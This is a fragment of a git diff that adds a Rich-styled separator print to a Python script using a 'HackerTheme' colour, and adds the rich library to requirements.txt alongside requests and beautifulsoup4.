+ console.print(f"\n[{HackerTheme.PRIMARY}]{'='*76}[/{HackerTheme.PRIMARY}]\n")
if __name__ == '__main__':
diff --git a/requirements.txt b/requirements.txt
index a057c2e..82b4791 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,2 +1,3 @@
requests>=2.28.0
beautifulsoup4>=4.11.0
+rich>=13.0.0